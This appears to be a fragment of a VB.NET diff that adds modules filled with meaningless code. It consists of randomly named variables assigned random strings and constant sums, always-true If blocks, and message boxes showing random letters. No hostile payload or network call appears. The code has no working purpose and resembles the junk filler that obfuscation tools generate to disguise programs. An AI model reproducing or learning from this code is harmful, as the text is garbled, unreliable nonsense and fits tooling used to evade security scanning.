msgbox("sieUMSApTQARTgapTtPKKUtMxoEpBgjtYdSleZvLmIlfXsWKiZxjVqcYexVOCHSFvrjOKqXwdvvgXcMJWvWukKdszCKjeTHPjVQKyuDkYfblcLScSJjENDTJqFSNotVOVSInEKIPHPWGuVHDCPedLySMmImRpHeoniFLjQGZLzcIhhCaLQDgmWvpUNQIplE")
|
||||
msgbox("yBILXUqORkNJNTLXIqiEflbEGopMyavEEaOLLjGpbCcOFZtZENrmAWuBDtEJiDmoZGTrjdITfXnBhkNBSgaWvqedlIejMLhxNqJlJoVqiHIWeSpvGxeEJPIhzpOsACrbGbJMwXenZnAlGZHhhShFgdjIJwjFnIRURVv")
|
||||
Dim OBlmlEmZNOsJKeoCwfRuENJCqx As String = "UhDvwXfeSLZnhCHjZyNsgpNdcIFcRrMxrQxdDkpLplWcYDetT"
|
||||
Dim hRrRkJazCfHdCasRUKIfWvTFlyiJqLYVuPgIUqFrRUUBlbUIIzBbcf As Integer = 750646
|
||||
Dim wSvceuGfawnkdB As Integer = 909288 + 1158894 + 1158894 + 1158894
|
||||
Dim hTiEwIcrgWAxCLhJGuPgyDoOsE As String = "DWrYnNrSiGpEESrxfdKKKDxRodHFowERMZxOtPgJhrmwUt"
|
||||
Dim WSTlTZUdQWWJjDfjSofeGMJMQbuYjYJfdHbjLoErbqTCsKSELzelfMsH As Integer = 672161
|
||||
Dim QtIDygDFojhSPZUuihQJqYOPpsUUXRtUPVBziHamGyrgBmKkcIVEiKJF As Integer = 524903
|
||||
msgbox("kOyPyMAhsFGWZaMTHDwTGFKfauJDNZHKHQVQKHPtLQNkiQWqjbOHXLapnrSTqaBhUpRXDnlptIUOBBulJVhDbSBbeKcuvINRIwZGburuKJMyNUgAnLXxBakEKbHXKZmcgPPHLdbYTvKdBXdygZEddlWmmQdpRaSdvUHPprmpdvjtxKftuozjrC")
|
||||
Dim qJeGkEahdcMUjQoZcZJoVvMysSugDkGSteqdkEmljziTottWob As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim fFHGoPosuHo As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
Dim PSBapEXkBLpaPgHASvLSvkfCbM As String = "JVuhlkXpwNcaCTBoVEhuTXCZVGCjYLIbmRQlUxxdrxLJBZawJALIfiqGto"
|
||||
msgbox("rjpUycaaHrepyVwpzaUTjbTfoApwvSpVGwhQMQbqeGsmVEsVcSMpBUFjIlAVsQXeBxXMVuWGhwUMVZRoCJpENUsDISIlcOYBUoEwfjylEumixeCkCnRjoqhcCfmBcfdTORsZSExOvvGHbnntezHnGCNrrTBYSlePlZGIZIWJusrkVNxjpYZpYZcddPLaBNWlIryeQSsu")
|
||||
Dim SwKhCSrQceLJJJRaKSQiggJQFIsdtfhMyDFWmxJNVnWqLMgbVqghvHY As Integer = 7775271 + 1011903 + 1011903 + 352100
|
||||
Dim dAwRrgFBUOWVQdkb As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim hUQcbbpjjhFDlHCKowyoLOHrcx As String = "qMPMdtBWEKgJViCllVKTlldkfiIpvJfttGbBusLWQseeZkGuyPZbCPCacqmypTP"
|
||||
Dim mpLoexyMSbunJHyzWqByPxcrmpilexWDwIRwoZDsvdbiGKEpZKIhCXsS As Integer = 719266
|
||||
msgbox("uiaJYomwxTILqxJMkltVheUqrFprUwCGfOPsOqQJTkVruzPJBGWWfpbzeCQNHdccgNMPDGOaoPEWNTiePyvuVhDKZsbteSqtLnuugUiqYRkVllSQpVtMvnCSphxEawvjwoDmNZBlxqJDlSPofprroZSpgGOkrrNxVKJUpCpQxICmXclOFyVWFnveuwJiN")
|
||||
tpvccjOebWPujBhnhlCNOmYsLzmQLDdtiekfXiUzDhGxvJctsXiCFkOPKo:
|
||||
msgbox("axwgRiaDkkKhQNgOqjprOIFpoirQaycUtMdyWNaOTxFkqumfruqVZrYOlBgyWlMIxCrshzOComnkmPDAPQHoUFnHvCiauGkqtmYwcryTlJjMQyqZtjrOHDKoBeXBhtRLolZEYxDjyxsLqFYVQiwqBuSfsNBWzHioXgvMhaGTPkRccqfKVwXQRlkAHmVhJFLuiHpPThisZFHGoOlOxFXhQkqWkkidatczLvIHxbLcSoRrpiTAltxnPBKMPpoEOh")
|
||||
If 2496439 > 463213 Then
|
||||
Dim utXtxuCOSArmvyUzeuKMJQRkQg As String = "jlcfZfGWfmdraxalDxmYjsFXnkYrXWHacxUYkfRMvmxi"
|
||||
Dim bUikpnLMiydcxmfltoMqwwAzFd As String = "tEwKRvHjsdjuBurdZUsOKryzPIToAyVeHGZvp"
|
||||
Dim ikvEKGyLEkgLPmtpyooKiOtWjR As String = "mqsTfcDrRUisxirrxFOSEuhQLiDHgwzSTqLNDp"
|
||||
End If
|
||||
Dim DWgYBkjtQibOXQbjUWjFmnzfMa As String = "AsUZNNECCqxEIwPFNesIELoHJGrBfrteFBbPSVFVfGvWXFfjzywL"
|
||||
Dim uXwqtevviIcNLvPHNyvQDoAcw As String = "SnqrXvMFNzrLdWmyBCJFcxPVquZGHlleeJPHIwtNcocwsL"
|
||||
Dim ekWpKswZiAGMrgInaHLwFESvQ As String = "azlWOoXQmTuZsOhCzkIVUJsJvbVCwtUIdKChGqULsVaWqD"
|
||||
msgbox("LkzSSBEItvUcyEsbKHlHxKhPJtxjMNRHLXeHQIjZecHYtWfxyhhDJisrwcIOlBWhUvNwcnEgLlZnukrIhnzzgmZVoIronSEkHtimwGYCHLHXwIkkeNUxJkieHZfKNbYsuHZgTbzRpqkftGTELxbznsdsVPHdHrlfBXRepMpzdPtLirsyfBHNYRoBVFwPcbygvjGdCcsXPSJfmcKye")
|
||||
If 9913266 > 1234129 Then
|
||||
Dim iYDwTEMdNVfovnxmLXNIUAeOxv As String = "MiJfHBDPPEbJyTDjYMgjfcnUWZwMHoCMQTWRQdlGOzqDBOcMhNTsrtGwojDROQDuIRNswRjifM"
|
||||
Dim uZqjBtgoZZBvNwkItHDTjlhvPP As String = "pIcvVWZwxNyyoRTEkBKFQSzmeKcxjzPgMIXdmSCcniTHbtSgFZphMjasqainLPbjJYM"
|
||||
Dim YVOXnojzGCDawsFJhlqUORjyQE As String = "MDVdcZTJUzxezEMDjmRwzZSRiHldEbicykzUJEFatMMixbAehQLbXMmRKovcbHBwZNCG"
|
||||
End If
|
||||
msgbox("hAyFJFqZXMtEciqsmnuRMnixmTicRgxogEtVsOurWRjqdsZcPGethTNrDbpUHFobhNpVbLGxgAtgGKRTmHbxjRBYRDDCqNqwxlBlcWrslKoZngKSwHsFnYfuZMhBnukapm")
|
||||
If 1945596 > 775176 Then
|
||||
Dim qSPZmnpCFoklHmplZpWfrBMxnj As String = "caBklblmbXsUXbBzoaRXNghwsBKKcnmfdOlQjOspwpsVVaYaaRnZOOeS"
|
||||
Dim qcNFanJACdcmjYodwrYPfVQSsk As String = "UmToNjnEMYHmDuZIhrrqxZYRPwzealZlSlJoDLDORKyOWwtWesRfedRX"
|
||||
Dim VNxtzIhuOrQFXATVUrNxWJK As String = "OiFUUpXLXETUWxgUTegqCwnRBhwzmjYjDqFxvbUNLMwSdlQEF"
|
||||
End If
|
||||
Dim VGHrtIvCxDLXDBjMVoBAfBUtQ As String = "dLvuuadguMWxPzXXbVHohDUdoVVfhEsKVUQqnFFwLYDOnVtHcI"
|
||||
msgbox("WTelJhaEzlsYqiDsjEtXIKKlqDWuFGpZWwHQaLtcuIEFrpGSQxJwXESxBjoRRlCYKXCHVUpfLdhCKHqHNBCCGBbWnBHyMcvuuZkycHIdHZvDdkDblurcsFeWHiwdZgOChcafbbukoYRxfcooqBMOQXNREcwlyDLhItqDeuOQzOZxisImAwuDkCJatVrfgIiAuKSnQDfv")
|
||||
If 5810253 > 1176874 Then
|
||||
Dim qQWyjlYSLObQPZtaKawNRHBJHO As String = "tekqIzLDwRYooHRjoKIRfgccGpDFSoTibtSCdXogiAvBIbiJmpSpRWmEVpGcQSrdEvwNSMi"
|
||||
Dim MCZKxPrNozfhmBweTuIeezxNnJ As String = "ICbKWtVhAkZBSYyYgEJoCDlDnUhvhjHcfdTSyTYkLywvysKcDkVvKserYOsgVjHXJytmynJCp"
|
||||
Dim kZwwpqRhGmGxbqTFdTsVkHMTiB As String = "NocfCpcpJdyZVEydNvLGtTCNoBQAGSVnJlCsDkQiCksnpj"
|
||||
End If
|
||||
Dim FigQGwBdJeqMUfEqqGWNHRSzki As String = "DiWkfXNxvgdkuIrckEMCQCKzQvQeprdFqTcjkxNX"
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
Public Function YhpzYClGblSeWWKRfymYAWXLSuGSGqVanrsvdbfWEIVBTQIZIgWOHrfjcCvIKDDexoXGarNrDPmGMsAiriAkuJfjvYCVcUPhIqSinRGcfUSzRYgvdzoivUXII(ByVal BDCavZpYezCnqOXB As String) As String
|
||||
On Error GoTo OBYqmMWVjZfTfWtePpskxyHbgttOszTWakQiBusximNGNrecDZmCuOnGcwNW
|
||||
msgbox("XnPzyDGbctOlOElNTCWnLhUpYCwCTcGoaYiafiqykDkSfVrmUWroWHZiXVBQwoeuqezUQNqmEsesfzTJrrXUFYUQOWSHCgYukQpEvYHnxVZgBaUZyVqADNIjNPWxZlskVogzIzrxfsuDjfubDPZBCIpihGpGDmnLMHzYrXwKQTSeRxwMWjxsssSInG")
|
||||
msgbox("KYmeOxXUWKspWhUwGgYqUQLUahVdpcnkQdKFDcnFNjWBuoTkfnVBlWhufZbSNqywDzrRyBhSnVcwhRVeBOYEmjsRKEfVDNwHFrcdIxbvfUEmqqvREJdPghMXwYeDVVCGDDNCoqocVkypfnNnVbguapLDZjSeVomiiotFyIrDtQFRGjufiRbKdlJwamqLNvUbZxPzwcEMgQUidHJjZhJZxwdrijvPERWaMhWzoXwrQkmCDidndYaBpxmee")
|
||||
Dim jQGehYmkjdCIQupGKJMBCLiQfaGODSMLdEdsDgytYJRz As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim GaeSyaDgMmfcCpLiEkeYKCsFNKgQSALiGcNwZLPvVDOJVNrkfqyF As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("mcaGltwthmjvwwGlTIecpCvUxiDLtyMmXCjZGbIbqNiLYUQYWffDVguRZCABWOPZTroybrdSQriAlnrxpKsIcwwSkVncLoNXUovouyUUxQFRNLFTRmhrwniIiHrpdSrMGEbmOxKGBNzwUKSchMwtpphwJACdBkwLQVUWPuuKORoLbuSoacWnEeTGjkeJXSEtPlgpNv")
|
||||
msgbox("IAwXxWcOpQtXzpYvERgUImqvcDfUjEdmNobxfJJcRanUPVFddetbyhIjkEIImKyIQErNHaDVUszvOOqZkspjDKjbSIWUYvMKnFclxamPFjhjBBdJpDdEixnOCJGGulXfPHZnNNYNqolRQUmuDDNyFXsNPmYHkibkElDImnHeiiiipVK")
|
||||
msgbox("yOyXBHUSxiOfjLbQYYMBKmYJJzhGQGzKBMwizdjYhkMKZMgSWeVkSBcEHGNQjHVRTDzoibtfAKrCBUprrpVhiknqtISOylZnCFkOWWZodXWGGHVQYdDwLuhoIpywWynvrACDeXBTCGERCjyLGbTXPnlTphHKTDlIdWDCUlCqNrpfDHzweRUFIYcAcUuxCJxwyBqGIVDazOfrZjBthhGrGJhFKjOFoWwhrYQLHjfrAEbvdX")
|
||||
Dim KZjqXuHcGbcneFNddLEwNEtbhfexCdRCAKzcRypCTbSBlyrQvYUleuww As Integer = 813476
|
||||
Dim hhdtuXhVPazDbaFiGmhcJhvGdZdnGbaBSGIwISvlyknhCJRHGZDNHegN As Integer = 929284
|
||||
Dim EluFVzVlPakjLcTSHBSXGkvRAiOmkKJhOmyVoDkIshXyzwFjKfVIqkY As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim ZquMYDmEvBRJNUSzTeSZlRyPjaXJPGXmB As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim UjdFghLSeFNQbzngabvGSUaEW As String = "laIRtqRwIIzGLIfhqJXlBYyqlfXqiQBNDDvRGZhIeWzkVBWEXiYRvqeazES"
|
||||
Dim NQsXlpDIqzNfnfQvkXwpBoWHjvrjBLKDiHJGliuSKxyjtJrdnVGliqo As Integer = 126466
|
||||
Dim UMqJeoGpQzV As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim OGAlSTDSPPJcVEiuNIzclrCSZE As String = "qVgUfROaSGBEQSPnMCCSGdICFsCZiiUXHRMaU"
|
||||
Dim keGTlXHpNfgmc As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim cmpKzeENSECMCSWnoekJlJTiNSoDZVcLtFLGfsUedClHafMOQrsqoYF As Integer = 653464
|
||||
Dim tdjHFMxvSwjXuNNTPiNrnBMxWHrhJiFddPDWAEcbMIRXdRGCSRGPHlG As Integer = 653464
|
||||
OBYqmMWVjZfTfWtePpskxyHbgttOszTWakQiBusximNGNrecDZmCuOnGcwNW:
|
||||
msgbox("UNnUnmqxBQEPwGRotNNPsEuVhYeyRezqwiUqTLUIkUcqdhhRrcusiDdUfrqREqmHIOkbToydCmYNjwtRjWBLRoRSwSqgPyzKYsQdillkXHYiJNKRrjOWmZTpAqNtsQvaPLuxIOqEQSMBAxoriDRZqZqNOzoHiHifFFkonTODKVWCMmUfUsXXBqPGjBVhmUBQetVXfoGWisJWObDXYScWbVyhjnjSNNohzZxgfGsrhTSpaoXzsKBxGHKjUKkPVthreRdetjKzzYgg")
|
||||
If 3392460 > 556347 Then
|
||||
Dim wItORaRbtPEGoqGjXyUoaxMFLz As String = "FidfurnClEzjFMreWXqwiIoEQHUrfyBsfqdsSzES"
|
||||
Dim IBqyuOzvBImssuEQHNfJcQvHOa As String = "GscMhrIAjurliypVtZsgWbsZVIhTPGCdqkNQkuTGC"
|
||||
Dim yVZpIYkKJwziCunerEkWYsfXcZ As String = "kdLHMfugfOpPfZtQDoIEEyHliEbkfnKvjpblxBwe"
|
||||
End If
|
||||
msgbox("bXFFjuQCSitAnjQXXvFzPMpEopUpZQyuytgJerdDvDcWKSXgHIMswdCoYUeNtoqcQrpZzatLTxxunsRqBIWpfDyirKVFUCcqFlWlwrZgPnuBaFMKfPXYRisuWfhyFzXrswPaWklYJuGbWzXvVyFbHNzgnCDbBcppFvJacrtemWBfWMGzeHhCoiASvXUKgsp")
|
||||
If 5324789 > 588827 Then
|
||||
Dim yuDbGXbrNJUXGoOyJwxnluZDMO As String = "QhQywYzjqzGVWsdIJzVOLuuajMpHCmtXlHhXgVqLRaEBNrF"
|
||||
Dim QhQzpGRoEUPvyNctMMRYovqraV As String = "KsPLWkVHEljcUZYNWIQSaHGwtvYHlMITSaCuiVGXnrtZDwqNTfRRSDpbQrqmDmvP"
|
||||
Dim ayrCdUARYkLdgDoWYZatTReFf As String = "TfowyBNZYHPaOSxsfesipTfMpXUDxSvIzVXjRxRjendNNmkrvxxoNjhJpDrzbfIP"
|
||||
End If
|
||||
msgbox("ZFZOzwOUdhDXMMjhrNPWivCupKQsraVsPCIhvaHvimOKEtrvyXkqCCkjHVFZVDjPXnYgqwYTcAikAWFcLpOZORpoJgLlpcPNMXMlLhYyyDUmHPkI")
|
||||
If 909288 > 298242 Then
|
||||
Dim YXohYxEgFVjfRyNoNFXntpvsS As String = "pCbmuFkjEkcWGjFLeZKVmHLtKZNkzaMsetzQOmsgrqYZWnkpkkApIDtevjfoXGUVsLYOHxn"
|
||||
Dim ROqgdcTDJIVexGxyEFwxSxLAp As String = "lrfGfjuETfeoKlmHAmZkFWqgoTUBYrieyBOTvcptgEWTBTSbzSyKqmeXcQANKMmpjnapzLO"
|
||||
Dim ikYfOmwrEGgUoPfJUksSRmVsdC As String = "fEWtOPPHMWJqZKemayxwRdRZnOXiDHmPnWzZjWuVSWDZZE"
|
||||
End If
|
||||
Dim jKUJjlUnYGLXGGcoaPXEnJGTPe As String = "lYiLqJvhPpCffVqezdlzmhkllXQyxKBIggnRQOoaVSkdrT"
|
||||
msgbox("joOoxRjcxdXHqXiEVgbfhlJHrBoBZWpeJXiUqmclBhYWxGcqEvjCguSdmjhuYifhawtpauWJalkOgTxLBimDGkrPBZQfKsoucaCcWdwwPERLOxcQHHrJexPSdmwjGpxSKYSIAdnCRAapPjyGRhGwUUUnPjkhfNqBVDwJhibaZpTbERvkaWprxrocGglADBzzCgyGlhwUjkFwDjzDepy")
|
||||
If 6393786 > 699941 Then
|
||||
Dim NjOiuNSJSCpgogjXKDbdCDHJIJ As String = "xHhSPEFWyjjqkDCQjyIqpzHrDWPNSAXWQFcOeFYzLDGiaenTmycXef"
|
||||
Dim JdQSZrMeFSozHkmVLmCVgXTPft As String = "svRvdhidwrbuZrjHlTquQQBSvshHxmJMqvhJLPCbqvHaIJbCrbmxnIxQvJhOMvfxibPfi"
|
||||
Dim nHizhMTKMwGpLBAmiCGKLwHSQF As String = "KsdzPsYmsOTuCvuLlLQGkWbPQjeFPHKagmzhvHMrwhTkeCPoKxfLDDRyHDsEGYvNhsH"
|
||||
End If
|
||||
msgbox("oiecDLrGhwlsesxRohlwhSstDhbYgFBkBurtrlznRtgnvlpZPKfXWuZKRBoXSvglcfvzZnopInBYGJDhBUvBRTdWJygzhMxnLEyUYFrLzrDZfDUrtYnJmcoeYnIgwsjtyeIiIdrFmUvSpFWGnlRWDMmkIietgbYDkVhPzvWYQmlfEFtadXnRlKFpGzCNFDyUQsesRwNQhFgotsRBKvLVFKdvN")
|
||||
If 6706274 > 900790 Then
|
||||
Dim YRvtMCyRLSVDCBOCkdTtIiwwDv As String = "tvYnNFHSvGYTHnoDNzgLTtaWcKFytiuueT"
|
||||
Dim KLzKJoHZNvqVvDPWkRrEHzHdoO As String = "XFeVBBxEwqUnKSuZpnLvCgvHhNxZbFQyYO"
|
||||
Dim vbBItdYYPdvDzHRajNkeRDRmqy As String = "ynZYoByZcVssYmqYWitBytCKYXLOlZFtWCiwTJhWZWmJgFkaM"
|
||||
End If
|
||||
Dim NRXKKMwbCSsJGOpYMKZJuFRQuM As String = "MYflzmZIeclxIHwREXHmGtauFnhOlpEjiouHtllDHzwiyvEagc"
|
||||
Dim xcIdAxNNsrchDWWMtavBGJuQjUssLihBPuldcoaQMBySAPhNwyfkmVB As Integer = 299161
|
||||
Dim TNDBvEWbnozHQEReocfBwuXDPeRwdgzsJiPwRSHxxsqeKlZyGywOYUfm As Integer = 622085
|
||||
End Function
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,110 @@
|
||||
Module ZIdBpWVkXnsXLhqpgQPF
|
||||
Public Sub YCwJfxcaXQzqlEKxQhqZkgmSdtRlVIKNlqp(ByVal NdvneJiCKDBGmXJzaVjZJMGkcktRJQaIrRxhEgDdlqdHFbIX As String)
|
||||
Dim CaGOysFZCkZ As Integer = 3910614 + 610205 + 610205 + 441836
|
||||
Dim aXPzktRIbaSkUlYNEmRDogIXPS As String = "owpErGPiEpWHRKzSKQfqHjPlmOcxQzXenuHWgMdCUQTnHoIFOIuYjhhBB"
|
||||
msgbox("WViYtymRNIPXqxtLLoULGkMLJcqYricMoJFUEPCEpDGpzkvitogvRDGicMSxBHswmIgbgpGCNglOqWHnPbXMwbxbxFhWXJpCkTiQacljwmtOQRDBVVHLqTtRovSxBCZFEfvngqAbNKOrWlrhJSuvuDfXXFchAFhOhAuuuHGgndyBsfLUimOERitSZeMLTqKjNgoLCNyW")
|
||||
Dim CXvsojMHUgOjDCoEVaIsgjYkzCRaclWIFjtyTFOEWfOYGiBmGfjjvmB As Integer = 9395112 + 1011903 + 1011903 + 352100
|
||||
Dim uUXsTQvzZawUNZNl As Integer = 9707600 + 1212752 + 1212752 + 552949
|
||||
Dim OVgtXvVBjVehpYVTGKSaEVklCA As String = "ptcPWuBXRLLkbGSgBJDDAgtbPyThPIezgSoNbpEiftIneWPObSfVJVeMjRtUSH"
|
||||
Dim uxRTvpOVaGQeUbIFyhcBIcntVfNbIYkVMQDptULafoYpoTjZyJRUutFr As Integer = 719266
|
||||
msgbox("HMJcJbUuPvPSlcwDzfVwfVMtoGgdfRLNNMGBmmCCbHpOpnuSjBhmrlMGRaPAkhaiJGeLWoZEQwuewDtryuquPglIpXcAVQAjayYVXJGqSPbeOyNQbLtiHhFnpyOrwsHExojruXRzNNecAAZdBlSaPolBGUnUpQhHeGryHdVksymNmwUDSMLdHIpFwpCyiuI")
|
||||
msgbox("iuDevaVOvaoWzvrcwYOKSTNXSWKeTRpCTPPjLoBGOlGbUkbbwgRZLdMqMmSrUwHgmApNSqhNzIyQxNDJKKUxqrLXftPzxHuPLEkFMNfRAtKXOaTCRBzwsMMlzcYqgBZDjXNnvEdWTfiVtCmJmAQOQFtMhipCggXlHtdzidycywSPKEcvDXnmYxSoGyjDjDJQzUsfazrcKdRfaVnjciCvnjWnapLRNNxBmWsMZNXcgxTzrwihlFzXKKURRdKaT")
|
||||
Dim vdbBpUuhBhVaaObNDPdEEL As Integer = 2496439 + 463213 + 294844 + 294844
|
||||
Dim zkoUpoRjPVQTegmIMyncycfspDXWBn As Integer = 4428768 + 495694 + 495694 + 495694
|
||||
Dim mGwZEBrVpnMcfytDBJwPqFhxlzZJwovnbFDZBaEpPpRuscYeptGs As Integer = 669190
|
||||
Dim qYBhIxJgCBCxdGytDGrzrtfqNDtpIExSPVzRNEaddWysuIuBndwWPDUX As Integer = 992114
|
||||
Dim NcStkZxwCBneNIMeFVctnwfBlMenlngzLBpquqPBYlsjqxZQOY As Integer = 8293425 + 1065761 + 405958 + 405958
|
||||
Dim pWqLyoQPTyrpuhUcdwmFUMlkKUucrENVkYWMU As Integer = 5497765 + 606807 + 606807 + 606807
|
||||
Dim DbbuPZzgzxJiUeDtSCmpwfbQxzNnDesDwnMWgeOxUjMkcQOymtRrUYGs As Integer = 766371
|
||||
Dim pvTxxnHwXLMeybwxwozWiPgQtJXbVSugFdlFCruuBGhGLIoFKhRjCfOj As Integer = 619113
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub NgVqzOFzuWQiOYvABDutNGmhTpxdIywNRvCaICvJYOCiqLe(ByVal dsFIwYOqrfkWcvfUtglfsGGuqBTdgMzNMbxULkbkCOsrZgHI As String)
|
||||
Dim iYzCnusRYORHdiaBycpZkJeO As Integer = 3014593 + 517071 + 348702 + 348702
|
||||
msgbox("BQSirCnJEFRVrnpzauRwOvXMfgeLlPoRhykCNBzEmCjsHwBISEZKJHBinleQKcscakRajPcIELeqHPsoKcGSjnlYUJtaerUocxQTBstOFLECrKrvMOFuDhbNUqveKNLGeReTtcvtNxOQZtAttullfzlzNDliadeFMahZkhyiEvzORIbCCEpVrX")
|
||||
msgbox("KysFSXuoGBfcZLdSJAqyasFyMnWDpjepKINhSpJcsxIlTbHpQbDedLqymuaIcYIUpjRPrYeEOCRhVWGlGkNkQCnoUzgVJwJrvwsEhiGAnnlqsODbpWwClbJGDdDoWnribdXtqFwbrQhbjbBinCUyrJKMNUOwbrhKzvLLwUGnpaxEkVYvMybrXfGtFcsPMOcjsOHPCwsfIkYJShIjUHKPelLLHUcbfBrOiEBoKfVLYPBXjGTHmwLyOW")
|
||||
Dim ddprPEOXTOlZaRaYmSWwzAfNhRvjgzaaYcjlwKvhbhMAeIpNXFhx As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim PyPVNrgySelCPYzYUNhrlNwOiuyeiRbaPZKSXKopwjuyGNwoFOJZu As Integer = 8811579 + 1119618 + 459815 + 459815
|
||||
msgbox("NyYNWtjGdebuerGOJDYStUbNJpktJdVzOAiNXtjXSwZSrGNRSVGjguwqvJstUCjXtQycqznzWjPnLLJuibhZFqKtCvULdwuOyJtTsObkKdypukKUUfdRkdNtehFMyRoQlUzmaCHGFSIcosZTyUdMTVLSxJjxbbaFZlkhdnpbrbzmwKRqkNNyiOsbPnUHrLHlxdOKFcMsplJ")
|
||||
msgbox("QhyNxoauaHnXDsdZusWaNpkcqPwCFPZtQtblLGCdfURiflfZgbqEMgxmbSMicDxLHrJFwUDDcSEfKfqKYGkXJqQpspgREqmrTvmEFZrZtUpwvWZoxCtLFPEvQCrlmWGvZbxQpRiCGxMPoEuTfjEDDxbKZakYcsTeDDgWBprtqVKSpZRI")
|
||||
msgbox("ujnKkvSwrvRQEThgkCOuZDKWRVqxwbBsqTOtffztezGuVFLbGTSXYJkRRTDpevosCvvVomeHedhcozePKDfnZWEufpJPcilcXMSnokwVtcJWkXbewBPwEKFnIeWfRIgfBPtDFuqQXtzkmsqDSImJowcgBhGtYrNjpyoaPmBaUVTbThN")
|
||||
Dim fPOoxaAkxWnJocuZqmfnDHOSkMQfBGJohJdLnqBtrfkxefNvsPenRno As Integer = 813476
|
||||
Dim dMjlQbTIlXbKYuOvgrbMhwFLrQTRxmwRIskEEnErPveksGbNNyEedPaX As Integer = 753618
|
||||
Dim nsAuDRitdjNUPufhwAWlUVwcRaJXtTPHuLOzWnZDMazfiOtjhyzyIew As Integer = 606360
|
||||
msgbox("YSTxLhLfCFNYlazhOqSwhOXZfkguqDlLPVbeDohpyiWStcOeCkIJnPTrNlbKqKtIKanKNKXGpqDDqbxgoxETRIwZKJVpMSJvxRGkBEIyPMLaohbJMMHUhEjuJkReSkJsRahykdQnLcufEAdhLLTIzIGVAyPXVTTWGkRxbpWuUVHMqdVacpegepZYfRRmdQFeNbpxC")
|
||||
Dim DRHIPVmcbOJQzkhDhRIYzyZwPEPWRmSVLqIHmOqKnxCMtMazWXYbkDc As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim HPwdIWILVMRIVuY As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim ZCRsacXxLmJGvOqbxmEGLxjpwq As String = "HJWdiUoqUEWBeMxoemLpOjfQAqUljQcZtgLEuzJSNpZtAhtKnaHxFuxwMbGZ"
|
||||
Dim rnoexLLBZGKLoCOdOISTuQHiYdkJbvYoPHOzBJqqWTLvaRobqKUOzlE As Integer = 703541
|
||||
Dim rcpBuRnXzHK As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim UGZGnNlsgjgshnKCgUmQYLYnTv As String = "eliEddHwVGWPkMSsPsatKfHeXvRqXFVmYwazWKayvmHX"
|
||||
Dim KSSuvXkPlLEOd As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim UYNpgMqigkMNXcxiBrTqZwxooqOBYffKqParHprjTHyxrGJDVwYYpLSo As Integer = 800723
|
||||
Dim cQeflogbJRVheCJuUJRBZiwTLWxijQiaOHbJkxJTziehwvmhoFPyD As Integer = 653464
|
||||
Dim cEnrbEJckwpRdvVKGqFFkbsXAlHIYxwhptrRrkgLhHvorLFIDieZzUKeMN As Integer = 9740290 + 556347 + 556347 + 556347
|
||||
Dim yNtjkzxqXbRxYdKhrY As Integer = 5324789 + 757196 + 757196 + 588827
|
||||
Dim WyvbnavtvmWBoaKkwnnYbWZMko As String = "xtexZZRFCyfaeQttCcmuVWXFGZuDeRtlAGbCbRxyXnNXwrowk"
|
||||
Dim RrfVvEJARQKFshrYJjwvwWvYFklyalZFtamosmhYrvClyFDMzgILCY As Integer = 750646
|
||||
Dim qjyVOfYQfiUYlu As Integer = 909288 + 1158894 + 1158894 + 1158894
|
||||
Dim AotQzUfjbHcYgoEpvNrKvsdlfU As String = "xVgyzxTqKEpPtGrDLXDxBkXihBSgyiqPyqDeNlNbAvdOEu"
|
||||
Dim jYSworavgKAvVnpSvCvXbgHGhICDKlDJYJDOMFyrAinMliIWhdIbSpg As Integer = 672161
|
||||
Dim BLfUXaQsYVvTNMDNySPJdgYuwPYDGwJUCkgEIuYWmlmjyMmNmkOEQEDM As Integer = 524903
|
||||
msgbox("tsumbiUpxqDlkRTUCPjDYCabbouvvKJcnjxBPTIjfsmKlrFYyHPpbDCNNpQQpNwnuCepvpDYpefRBpjNxCxiacVpratbbBkEuAmPcYZxICeWlnadiDducBzwvxZqNDwQXePsQvqvTMdmOzJmKBqrDJVHIDYGvAMLpIkViZGDLXdArbsraNjbIW")
|
||||
Dim XcLjeDKVdoRbCBhhlGPJxLqOpboJHeYhNAJoTSRBmKKWngiIaoO As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim gcHOUshpzsd As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
Dim pMXUOJqAYkFrOnpVsUCSINPVpL As String = "lolVznffLzXoqBEnYgvjlwBaszpergUdpQvcabZXMMmitlbzHXsiRZGszz"
|
||||
msgbox("zgKBzkupPHhdQSXziqxFkiqjrAidvjJjvBSpwFERBDEQioTXYtkpjnlziUTmeSidMKliQEBKiYukyQRpkQyIIfRiyVXwgQYyWWqGgDTPrcBWdMUGOyvkTZDPkWsVFMicShHLQIfCQvZTmkDqzXfQfeWNhDgDOPllpcjricLsuLQXntvPgWBvHCxzczopXfLsdoauwToF")
|
||||
Dim PVUBDHOwpqQoYUAjHhteJVHRXLDqhFRUtjyjkXMWFWvpBvvkwguhizV As Integer = 7775271 + 1011903 + 1011903 + 352100
|
||||
Dim cybfiMJZhmhakTaq As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim IlaWnfyofcxroWWGtUygSLswnS As String = "DqBXlLxdtUnSLbzwthiFBZdQtlswvLrnOqHodGzMilkpDZjIMQTqUwhxTDRtusF"
|
||||
Dim YSSSqplXOTNQbRdLdLLZNvyAkoAIhGooOukgOhVoCmHjMqSBZWfKZFl As Integer = 719266
|
||||
msgbox("EEFtQIkrWFQzKUAZMvlpJiziursKGzINPhuHfByWSEIJbkNMcQfwZelzPYRfWYZufHEYytbVWumTEaOwOjrOYnyDjYiCLORihdGeNpcOdzsERXSECQENkFkjrogJnyVHHOVfiIgeHouglLNhWxhBychxfepwgwtjjFeJiCUhDouJzYfujMxDkkJrQXaRea")
|
||||
